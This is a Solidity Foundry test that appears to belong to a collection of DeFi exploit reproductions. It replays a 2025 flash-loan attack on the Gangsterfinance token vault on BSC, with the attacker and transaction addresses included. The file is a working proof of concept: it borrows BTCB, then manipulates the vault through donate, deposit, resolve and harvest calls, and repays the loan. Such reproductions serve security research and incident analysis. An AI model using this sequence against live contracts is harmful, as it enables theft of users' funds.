src/test/2025-06/Gangsterfinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 16.5k USD
8// Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
9// Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6
10// Created Attack Contract: https://bscscan.com/address/0x268D1581a34FB63dC46C92f07cB0D739517ca51C
11// Vulnerable Contract : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b
12// Attack Tx : https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code
16 
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : N/A
20// Hacking God : N/A
21pragma solidity ^0.8.0;
22 
23contract Gangsterfinance is BaseTestWithBalanceLog {
24    uint256 blocknumToForkFrom = 51782713 - 1;
25    uint256 borrowAmount = 1020000000000000000;
26    
27    // Relevant contracts 
28    address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
29    address constant CAKE_LP = 0x0b32Ea94DA1F6679b11686eAD47AA4C6bF38cd59;
30    address constant TOKEN_VAULT = 0xe968D2E4ADc89609773571301aBeC3399D163c3b;
31 
32 
33    function setUp() public {
34        vm.createSelectFork("bsc", blocknumToForkFrom);
35        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36        fundingToken = address(BTCB);
37    }
38 
39    function testExploit() public balanceLog {
40        IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));
41    }
42 
43    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
44        
45        uint256 donateAmount = 1000000000000000000;
46        uint256 depositAmount = 15720000000000000; 
47        uint256 repayAmount = 1022652000000000000;
48 
49        IERC20(BTCB).approve(address(TOKEN_VAULT), borrowAmount);
50 
51        ITokenVault(TOKEN_VAULT).donate(donateAmount);
52        ITokenVault(TOKEN_VAULT).depositTo(address(this), depositAmount);
53        ITokenVault(TOKEN_VAULT).resolve(ITokenVault(TOKEN_VAULT).myTokens());
54        ITokenVault(TOKEN_VAULT).harvest();
55        IERC20(BTCB).transfer(address(CAKE_LP), repayAmount);
56    }
57}
58 
59interface ITokenVault {
60    
61    function donate(uint256 _amount) external;
62    function depositTo(address _user, uint256 _amount) external;
63    function resolve(uint256 _amount) external;
64    function harvest() external;
65    function myTokens() external view returns (uint256);
66}
67